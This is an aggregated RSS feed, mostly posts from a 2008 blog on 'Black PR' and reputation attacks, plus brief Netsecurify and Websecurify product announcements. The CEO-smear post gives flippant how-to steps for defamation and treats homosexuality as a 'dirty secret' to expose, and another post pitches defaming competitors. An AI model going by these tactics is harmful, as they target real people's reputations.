<p><em>Definitely not a good sign for the American reputation!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>“Big”, “Small” and “Fat” Reputations (The Healthy Edition)</title>
         <link>http://www.spinhunters.org/blog/big-small-and-fat-reputations-the-healthy-edition/</link>
         <description>In the mood of the upcoming Christmas feasts, here are our tips of how to stay corporate fit during the season. As you know, during this time of the year most companies are quite busy with the execution of various sales campaigns or are rushing to close important deals right before New Year&amp;#8217;s Eve. Christmas also means lots of parties, reunions and gatherings. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=142</guid>
         <pubDate>Thu, 27 Nov 2008 19:36:47 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/roadsidepictures/182061567/"><img class="initial-capital" src="http://farm1.static.flickr.com/75/182061567_ce2f71d499_m.jpg?v=0" alt="Fat"/></a>

<p>In the mood of the upcoming Christmas feasts, here are our tips of how to stay <q>corporate</q> fit during the season. As you know, during this time of the year most companies are quite busy with the execution of various sales campaigns or are rushing to close important deals right before New Year&#8217;s Eve. Christmas also means lots of parties, reunions and gatherings. However that urge for having a fresh start sometimes cost millions to the organizations as they tend to neglect their competitors and therefore easily become victims of lethal reputation attacks. While many attribute the cause for this as an excessive preoccupation during the holidays, much of the Black PR cases are due to the carelessness of managers to assess security threats and their actual frequency. CEOs also foolishly underestimate the objectives of negative campaigning and refuse to believe that someone will ever dare to affect their <q>flawless</q> corporate systems.</p>

<p>I don&#8217;t think is even worth mentioning it here how idiotic approach this is and to be honest many organizations deserve their own reputation misery. So instead of spending quality time with friends and families, many employees end up the year setting crisis teams and fighting bad publicity. Sounds like lots of fun, isn&#8217;t it?</p>

<h3>What is the healthy diet?</h3>

<p>First of all, I think it is very important for corporations to understand the power of a good reputation. Although it is not something that you can touch and hold in your hands, having a good name (personal or a brand) is the only thing that matters at the end of the day. It affects not only your annual financial reports, but also it gives you a competitive edge and a whole new meaning of your marketing strategies, internal relations and in general sales performance. Companies with strong reputation are more likely to recover from severe crises, than the ones with inconstant behavior and negative image.</p>

<p>Secondly, there is a common misunderstanding which I want to clarify. Usually when PRs talk about reputation, they tend to refer to it as good or bad one. The truth is that the reputation of an organization can be much more colorful as it can take many different shapes or sizes. Keep also in mind that the corporate image means different things for the different stakeholder groups, such as employees, suppliers, shareholders and the media. It is vitally important to keep the balance between them as you risk to put yourself in a very untrustworthy position.</p>

<h3>The size always matters</h3>

<p>There is no big or small reputation. It is all relative. Companies with <q>big</q> reputations are those with a greater popularity among the general public. This s the case with <a rel="nofollow" target="_blank" href="http://www.thebodyshop.co.uk/">Body Shop.</a> Everyone think of Body Shop as a company that is deeply concerned with the environment, fair trading and biologically clean products. This is something that nobody doubts or dare to counter.</p>

<p>Organizations with <q>small</q> reputations are those that fail to established any strong images in the minds of the audience. Usually those are start-ups or corporations with controversial past and lack of political protections. Even worse &#8211; firms with no individuality and international media presence.</p>

<p>The question here is what will happen when these two types of reputation collide. Obviously it will be much easier for a bigger organization to smash down the smaller one. It has wider network of connections, more money and better PR team. The smaller competitor won&#8217;t even noticed that they are being a victim of Black PR campaign or even if they do, nobody will believe them or even want to invest in an entity without any market future.</p>

<p>However if a start-up succeeds in the defamation of a bigger company, it will automatically position itself as better consumer alternative and even secure its own market place. This opportunity is especially seductive for the retail industry. The only difficult thing here is the creating of an effective Black PR strategy and a new marketing plan for after that.</p>

<p><em>So, take the tape measure and prepare for the upcoming festivals!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Britney Spears And The Art of Self-defamation</title>
         <link>http://www.spinhunters.org/blog/britney-spears-and-the-art-of-self-defamation/</link>
         <description>There is a new documentary coming up this weekend on MTV about Britney Spears. It is called Britney: For the Record and it aims to rebuild her reputation after months of a total meltdown. It is expected to be a heart-breaking story about her emotional collapse and the way she completely lost her way to the top.  Funny enough, MTV was  blamed a year ago that it deliberately helped destroying her image by letting her on stage of the MTV Music Awards 2007. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=134</guid>
         <pubDate>Fri, 21 Nov 2008 20:33:15 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/disier/352614978/"><img class="initial-capital" src="http://farm1.static.flickr.com/139/352614978_801cc5b7dd_m.jpg?v=0" alt="Britney Spears"/></a>

<p>There is a new documentary coming up this weekend on MTV about Britney Spears. It is called <q><a rel="nofollow" target="_blank" href="http://uk.youtube.com/watch?v=XF64RI6R2h4&#038;feature=related">Britney: For the Record</a></q> and it aims to rebuild her reputation after months of a total meltdown. It is expected to be a heart-breaking story about her emotional collapse and the way she completely lost <q>her way</q> to the top.  Funny enough, MTV was  blamed a year ago that it deliberately helped destroying her image by letting her on stage of the MTV Music Awards 2007. If you remember well she was brutally criticized by the tabloids at that time for her poor performance and horrible look, which put Spears even into a deeper depression. Britney easily became a synonym of psychological disorder and a topic of numerous humorous plots. For more then a year people all over the world were literally shocked by her tabloid-chronicled personal spiral that has included rumors of drug and alcohol abuse, a scalp-shearing breakdown, a few trips through rehab, visits from the department of child welfare, and a lot of genital exposure.</p>

<h3>What is happening now?</h3>

<p>For the last couple of months, the falling POP-star suddenly raised from the ashes. It was not something that I expected to occur so soon, at least not with the same magnitude. Today, Britney Spears looks like an entirely different person. She behaves well, spends quality time with her two sons, hits the top charts with a brand new single and even won two MTV awards. Larry Rudolph, her manager, kindly refers to as <q>the official beginning of the comeback</q>. However I couldn&#8217;t help but wonder, is it really a comeback or a well-designed reputation strategy?</p>

<p>There are a few disturbing things which make me reason that Britney Spears&#8217;s brake-down could be part of a complex, self-created Black PR campaign. I know this sounds insane! Who could possibly do this to himself, but if you think about it &#8211; Why NOT???</p>

<p>First of all, Britney released her fifth album, <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Blackout_(Britney_Spears_album)">Blackout</a>, right in the peak of her emotional troubles. Ask any reputation advisor and he will tell you that this is a wrong move, especially when you carry such a horrible media karma. That is completely true, but not if your singles are all about depression, self-lost and bad decisions. What would be a better way to promote your label, but your own self-destructing life. Keep also in mind that the target audience of the album is mainly composed of teenagers and I don&#8217;t even want to start discussing the emotional problems this particular group have to go through. What I am trying to say is that, Britney&#8217; life may be seen from some as a total wreck, but for others (young troubled girls) it is empathy, etc.</p>

<p>On the other hand, people love to see their idols falling down. They want to assure themselves that the celebrities are just regular people as everyone else and have the same domestic and professional problems. This is how I can personally explain the whole hysteria around reality programs and <q>behind the scenes</q> features.</p>

<p>Believe me, Britney Spears&#8217; record company knew this extremely well and as a result Blackout set the record for the biggest-selling digital album debut by a female artist in a week.</p>

<h3>New Album requires a New Image</h3>

<p>The next album of Britney Spears, <q>Circus</q>, is set to be released on 2th Dec (her birthday). The date it is not accidental. It should mark her comeback and new personal stage of life. She will be portrayed as more mature and emotionally stronger woman and she will probably start aiming at different type of audience.</p>

<p>Britney already looks different. She has better style, better figure, boosted self-esteem and professional attitude. She seems quite <q>womanized</q> and in peace with herself. All she needs to do now is to start excusing herself and her recent behavior. She is aiming at people&#8217;s compassion and fortunately for her, we all like to forgive.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Collateral Reputation Damage</title>
         <link>http://www.spinhunters.org/blog/collateral-reputation-damage/</link>
         <description>There is a new reputation term I stumbled across yesterday (via Authenticorganizations blog) so I thought it is worth discussing it. It is called collateral reputation damage and the idea behind it is that some companies could be incidentally defamed, just by having random similarities with another, less respectable organizations or individuals. According to the author:



How does it work? [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=126</guid>
         <pubDate>Wed, 19 Nov 2008 23:09:42 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/freeparking/1229303016/"><img class="initial-capital" src="http://farm2.static.flickr.com/1351/1229303016_6ffc0dda00_m.jpg?v=0" alt="vintage damaged class photo: me in the 1970s"/></a>

<p>There is a new reputation term I stumbled across yesterday (<a rel="nofollow" target="_blank" href="http://authenticorganizations.com/harquail/2008/11/17/what-is-collateral-reputation-damage/">via Authenticorganizations blog</a>) so I thought it is worth discussing it. It is called <q>collateral reputation damage</q> and the idea behind it is that some companies could be incidentally defamed, just by having random similarities with another, less respectable organizations or individuals. According to the author:</p>

<blockquote><q>The collateral damage, (is) not intentional damage, because the folks taking action don&#8217;t intend to damage the organization�s reputation. Instead, the damage occurs through</q> guilt by association</blockquote>

<h3>How does it work?</h3>

<p>The most popular example of <q>collateral damage</q> is when two similar names (let&#8217;s refer to them as A and B) are being negatively associated with each other. Usually there is no any relevant connection between them, except their names, nicknames, corporate symbols or initials. Visual resemblance is also possible. The only requirement here is one of the subjects (let&#8217;s say A) to have an established bad reputation in people&#8217;s minds.  So, every time when people hear about the other one, B, they will subconsciously associate it with the negative qualities and characteristics of A. Fortunately, this works only for a very short period of time. However, it could be really damaging only if A is in the middle of a corporate/personal scandal.</p>

<p>This is what happened with <a rel="nofollow" target="_blank" href="http://www.seriouseats.com/2008/09/palin-syrah-sarah-sara-wine-drops-in-sales.html">Sarah Pailn and the Chiliean wine <q>Palin Syrah</q></a>. According to Chris Tavelli (a wine bar owner), <q>Palin Sayrah</q> was one of the best selling wines in his pub before her nomination as a Republican V.P.  People were constantly put off of its low price and <strong>questionable</strong> quality.</p>

<h3>How the affected party should react?</h3>

<p>Well, there is no a straightforward answer really. Everything depends on the specific situation and whether the affected organization is willing to take any further steps to rebuild its reputation. The main point here is the harmed company or the individual must distant itself from the one with a bad image and make sure to demonstrate different corporate values. If the company publicly complains about its reputation loss and provide enough evidences about it, such as significant financial drops, then it has the real chance to increase its popularity, find new markets or even entirely re-position itself. As I always say, it all depends on the abilities of finding an opportunity in the crisis.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Top Reputation Nightmares for CEOs</title>
         <link>http://www.spinhunters.org/blog/top-reputation-nightmares-for-ceos/</link>
         <description>Ask any reputation strategist and he will tell you that the most vulnerable asset of any corporation is its very own leader.  Actually CEO&amp;#8217;s reputation represent around 49%-65% of overall corporate reputation and thus it is inevitable part of numerous Black PR scenarios. The reason for this is because it requires much less efforts and time to defame a person, than to concentrate on the disparagement of an entire organization. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=119</guid>
         <pubDate>Thu, 13 Nov 2008 17:07:26 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/sis/88844769/"><img class="initial-capital" src="http://farm1.static.flickr.com/22/88844769_b775acbabe_m.jpg?v=0" alt="Nobody Loves Me! The Valentine Nightmare."/></a>

<p>Ask any reputation strategist and he will tell you that the most vulnerable asset of any corporation is its very own leader.  Actually CEO&#8217;s reputation represent around 49%-65% of overall corporate reputation and thus it is inevitable part of numerous Black PR scenarios. The reason for this is because it requires much less efforts and time to defame a person, than to concentrate on the disparagement of an entire organization.</p>

<p>The objectives of the smear campaigns, on the other hand, could also be different. Usually there are two simple goals behind every reputation attack. The first one is directed at the personal qualities of the target and it aims his official resignation. Most of the time these types of attacks come from inside the company and are used when the leader is no longer suitable for the general corporate performance. It is also very convenient when he/she cannot be dismissed directly or is a great obstacle for someone&#8217;s interest. The second reason for CEO defamation is when the black- hats are trying to distract the attention of the industry&#8217;s stakeholders or are aiming to cause extra troubles for the organization. It is not a surprise that this is a very common situation during important events like new product launching or some forthcoming acquisitions.</p>

<p>Due to the high volume of recent reputation attacks, I tried to summarize the most common malicious scenarios that CEO&#8217;s could be involved in. Of course, there are a lot more scenarios than those that I have listed. Keep in mind that everything depends on the creativity of the attacker. The golden rule here is that the more uncommon the plan is, the more effective the results would be.</p>

<ol>
<li><strong>Sexual Harassment</strong> &#8211; This is the most popular type of attack that a leader could face. It is quite easy to be proved and works almost every time.  All you need to do is to find a suitable victim, sufficient evidences and a tabloid editor, willing to pay enough for the story.  Once the scandal is triggered, you can just sit down and relax.</li>
<li><strong>Hypocrisy</strong> &#8211; The point here is to reveal a discrepancy between leader&#8217;s official attitude and his actual deeds.  The latest example is the Sara Palin fashion affair. The problem there was not that she likes to wear very expensive, designer clothes, but the fact she is not a regular American girl as she had been trying to portray herself.</li>
<li><strong>Membership of controversial groups</strong> &#8211; This is a really powerful approach. If you can prove that the CEO is a part of a mob gang, religious cult or secret society, than his media crucifixion will be certain. The corporate long term strategies will also be affected.</li>
<li><strong>Professional Incompetence</strong> &#8211; if the leader is incapable of making good decisions and taking responsibilities of his action , then the quality of the corporate services will be put under a serious suspicion. This is pretty scary for most of the B2B type of companies.</li>
<li><strong>Misuse of corporate resources (Embezzlement)</strong> &#8211; Financial wrongdoing  and unethical behavior are probably the most significant threats to every corporate reputation.Such is the case with the Deyaar&#8217;s ex-CEO, Zack Shahin, who was suspected of embezzling over $33 millions into his personal accounts. The scandal broke earlier this year and let to his immediate discharge as the head of the biggest property developer in Dubai. According to the Gulf media sources, the company is still trying to recover its tarnished reputation and to regain the trust of its shareholders.</li>
<p><strong>I want to clarify that the person who was accused of embezzling Deyaar Development&#8217; resources is Zack Shahin , not Nasser Al-Shaikh as was stated earlier before. Mr. Al-Shekih is the current Chairman of the company and The General Director of Dubai Department of Finance. Spin Hunters apologies for any inconvenience we might caused with this post.
</strong></p>
<li><strong>Indictment</strong> &#8211; When it comes to CEO&#8217;s reputation, ethical conduct is always on the top. Bernard Ebbers, the former CEO of WorldCom, learned that the hard way when he was indicted on federal charges stemming from the multi-billion dollar accounting fraud at the telecommunications giant.  He was also charged of conspiracy and false filing with the Securities Exchange Commission.  Today he is serving his sentence at the FCI Oakdale.</li>
<li><strong>Personality and Lifestyle</strong> &#8211; The main goal of the attacker here is to reveal all the dirty secrets of the target that are not publicly known. If the leader is a drug addict, a racist or a homosexual and this type of an image is in total clash with the position he takes, then not only the reputation of the organization, he is associated with, will suffer but also the reputation of the entire industry itself.</li>
</ol>

<p><strong>Bottom Line:</strong> <em>CEO&#8217;s reputation will always be a target of  professional smear campaigns. The best thing CEOs can do is to be completely honest and sincere with his PR strategic team, as this is the only way to tackle all pending reputation risks.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Negative Word-Of-Mouth made easy with Tell-a-Friend</title>
         <link>http://www.spinhunters.org/blog/negative-word-of-mouth-made-easy-with-tell-a-friend/</link>
         <description>There is a new widget that caught my eye the other day and I have been playing with it ever since.  It&amp;#8217;s called Tell-a-Friend and its general purpose is to help users to share any type of information without leaving the website where it is installed.  Nothing new, you may say, but the point I want to make is that this tool actually enables visitors to access their friends with much greater speed and scope. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=116</guid>
         <pubDate>Tue, 04 Nov 2008 15:51:11 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/nyki_m/3000410746/in/set-72157607040408281/"><img class="initial-capital" src="http://farm4.static.flickr.com/3236/3000410746_3974a1e3c3_m.jpg?v=0" alt="Mouth"/></a>

<p>There is a new widget that caught my eye the other day and I have been playing with it ever since.  It&#8217;s called <a rel="nofollow" target="_blank" href="http://http://tellafriend.socialtwist.com/index.jsp">Tell-a-Friend</a> and its general purpose is to help users to share any type of information without leaving the website where it is installed.  Nothing new, you may say, but the point I want to make is that this tool actually enables visitors to access their friends with much greater speed and scope. So, instead of remembering all the contact details of your LinkedIn network, you can now spread your messages with less efforts and boring authentication requests. Convenient for ones, quite scary for others! Tell-a-Friend is a two-edged sword that can successfully build and destroy your reputation in a matter of minutes. Everything depends on the professional skills of both the black-hats and the reputation management consultants.</p>

<p>It is not a surprise that most of the serious PR agencies today design Word-of-Mouth (WOM) strategies as part of their promotion services. They are well aware of the power of peer-to-peer sharing and that most potential costumers heavily rely on the advice and the input of the people they trust. A professionally executed WOM campaign is hundreds of times more effective than any other advertising platform combined with the best communication tactics, especially when it can also help boosting the sales performance and corporate operational profit.</p>

<p>One of the most specific features of WOM marketing is that it barely relies on any substantial facts, but personal opinions. So, even if you read something about yourself on the Web that it is not entirely true, the measures you can take are pretty limited. It is almost impossible to start legal actions against a whole community, especially when the initial source of the rumor is hard to be identified. It is also quite stupid for a company to blame someone because of his personal believes and thus all marketing books share the opinion that customer is always right.</p>

<p> I will stop here. I think it is pointless to explain further the importance of  Word-of-Mouth and its global impact on corporate reputations.  However, I believe it is crucial to discuss its usage as rumor spreading accelerator and general defamation tool.</p>

<h3>What makes Negative WOM so powerful?</h3>

<p>It is proven that people trust negative information way more than any superlatives. If you hear something bad about someone, this is more likely to be remembered than the high volume of positive stories you can find about that very same person.  The reason for this are the libel messages with their embellishing nature which causes the drama effect. This means that if you start a rumor about something,,at the end of the day it will sound totally different from its initial form. In fact, every time when somebody repeats the story, the impact will be much bigger and stronger over the target audience. None of the other communication tools enable you to do that.</p>

<p>The other thing I would like to mention is the tempo, with which viral messages could be disseminated.  This is extremely important for every defamation campaign , because it disables the target to react promptly on existing reputation attacks. If the target delays its official respond or fail to give a reasonable explanation of the buzz (with enough number of facts), then the allegations will be subconsciously confirmed by the audience.  Moreover, this delay may actually help the rumors to spread even more and this is how the target&#8217;s reputation can be permanently damaged.</p>

<p>In conclusion, I can only say that most of the big corporations tend to underestimate the power of negative communication. They are willing to spend enormous amount of money for creating a positive buzz, but not fighting the negative one. In short term perspective, this may look reasonable, but keep in mind that there will always be someone that doesn&#8217;t like your product and will try everything to take you down. As I always say, it is up to you to decide whether this is going to happen.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Smear of the Year</title>
         <link>http://www.spinhunters.org/blog/smear-of-the-year/</link>
         <description>The high volume of recent smear campaigns has led to the need of a special acknowledgment.

Spin Hunters is eager to rate the most popular cases of reputation attacks in the last year. Whether this will be the hysterical speculations over the upcoming election or the intensive rumors about the crush of a big financial institution, it is up to you decide. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=105</guid>
         <pubDate>Mon, 27 Oct 2008 17:29:00 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/bettinatizzy/2086994424/in/photostream/"><img class="initial-capital" src="http://farm3.static.flickr.com/2250/2086994424_7601870aaa_m.jpg?v=0" alt="Twisty Smears by Juria Yoshikawa"/></a>

<p><em>The high volume of recent smear campaigns has led to the need of a special acknowledgment.</em></p>

<p>Spin Hunters is eager to rate the most popular cases of reputation attacks in the last year. Whether this will be the hysterical speculations over the upcoming election or the intensive rumors about the crush of a big financial institution, it is up to you decide. Therefore if you suspect that some of the current affairs are part of a malicious Black PR plot or you know this for sure, please submit your nominations by <a rel="nofollow" target="_blank" href="http://www.spinhunters.org/contact">emailing us</a>. At the end of the year, we will honor the most over-hyped stories by giving them a special award and public rebuke.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Netsecurify Screenshots</title>
         <link>http://blog.netsecurify.com/2008/10/netsecurify-screenshots.html</link>
         <description>&lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973268871/"&gt;&lt;img src="http://farm4.static.flickr.com/3277/2973268871_2dabec7f26_s.jpg" alt="Netsecurify Demo 01"/&gt;&lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973268953/"&gt;&lt;img src="http://farm4.static.flickr.com/3282/2973268953_414ae74eb1_s.jpg" alt="Netsecurify Demo 02"/&gt;  &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269047/"&gt;&lt;img src="http://farm4.static.flickr.com/3022/2973269047_4cecb4f389_s.jpg" alt="Netsecurify Demo 03"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2974121322/"&gt;&lt;img src="http://farm4.static.flickr.com/3028/2974121322_3620a60988_s.jpg" alt="Netsecurify Demo 04"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269265/"&gt;&lt;img src="http://farm4.static.flickr.com/3202/2973269265_c772ab099c_s.jpg" alt="Netsecurify Demo 05"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269367/"&gt;&lt;img src="http://farm4.static.flickr.com/3050/2973269367_228292baa8_s.jpg" alt="Netsecurify Demo 06"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269501/"&gt;&lt;img src="http://farm4.static.flickr.com/3205/2973269501_7a56264d68_s.jpg" alt="Netsecurify Demo 07"/&gt;&lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269655/"&gt;&lt;img src="http://farm4.static.flickr.com/3196/2973269655_bc458c10a4_s.jpg" alt="Netsecurify Demo 08"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2974121782/"&gt;&lt;img src="http://farm4.static.flickr.com/3185/2974121782_ea4641480f_s.jpg" alt="Netsecurify Demo 09"/&gt; &lt;/a&gt;&lt;/p&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-6611345454199592701.post-533674730817576075</guid>
         <pubDate>Sun, 26 Oct 2008 09:10:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://farm4.static.flickr.com/3277/2973268871_2dabec7f26_t.jpg" width="72" />
      </item>
      <item>
         <title>Try Netsecurify</title>
         <link>http://blog.netsecurify.com/2008/10/try-netsecurify.html</link>
         <description>The Netsecurify service is still in private-beta which means that we are only offering it for free to our friends, our clients and selected members of the public. We are also willing to open it for prime time use to organizations with low security budget, charity organizations and others who might be in need. Please, &lt;a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/contact"&gt;get in touch&lt;/a&gt; with us if you want to try it out.</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-6611345454199592701.post-620036889456929733</guid>
         <pubDate>Mon, 20 Oct 2008 13:11:00 +0000</pubDate>
      </item>
      <item>
         <title>Beginning</title>
         <link>http://blog.netsecurify.com/2008/09/beginning.html</link>
         <description>Today is the day. Netsecurify officially launches today.</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-6611345454199592701.post-6667434982835171778</guid>
         <pubDate>Thu, 11 Sep 2008 12:49:00 +0000</pubDate>
      </item>
      <item>
         <title>More UI Improvements</title>
         <link>http://blog.websecurify.com/2013/03/more-ui-improvements.html</link>
         <description>&lt;p&gt;Some great UI improvements should be already available to you if you are subscribed to the &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/"&gt;Suite&lt;/a&gt;. We managed to squeeze them with the rest of the daily updates. Most of the improvements are related to speed, interoperability and consistency. However, we also introduced a new convenience button as part of the application toolbar, which allows you to quickly launch any other application from the Suite.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;We are also working on a brand new tool, which we will release very soon so stay tuned.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/03/more-ui-improvements.html</guid>
      </item>
      <item>
         <title>How To Improve Your Browser Security With PanicMode</title>
         <link>http://blog.websecurify.com/2013/03/how-to-improve-your-browser-security-with-panicmode.html</link>
         <description>&lt;p&gt;Last year we released a small but very powerful extension for Google Chrome called &lt;a rel="nofollow" target="_blank" href="https://chrome.google.com/webstore/detail/panic-mode/lamdafciglhnjofdfejeepoemldmblkb"&gt;PanicMode&lt;/a&gt;. Once turned-on, PanicMode will block any outgoing traffic that is not encrypted. In other words, PanicMode guarantees that your browsing experience remains private whatever you do.&lt;/p&gt;
&lt;p&gt;In this blog post I want to show you how you can take this concept further to create a more secure browsing experience by combining PanicMode with other features available out-of-the-box in Chrome.&lt;/p&gt;
&lt;h3&gt;User Profiles&lt;/h3&gt;
&lt;p&gt;Do you know that in Chrome you can have separate browsing sessions by using different user &lt;a rel="nofollow" target="_blank" href="http://support.google.com/chrome/bin/answer.py?hl=en&amp;amp;answer=2364824"&gt;profiles&lt;/a&gt;? To configure this simply access the Chrome preferences and look under Settings -&amp;gt; Users. Creating a new user profile is as simple as clicking on the &amp;quot;Add new user&amp;quot; button. Alternatively you can access the little avatar icon from the top right corner of the main Chrome window and select the &amp;quot;New User&amp;quot; option.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
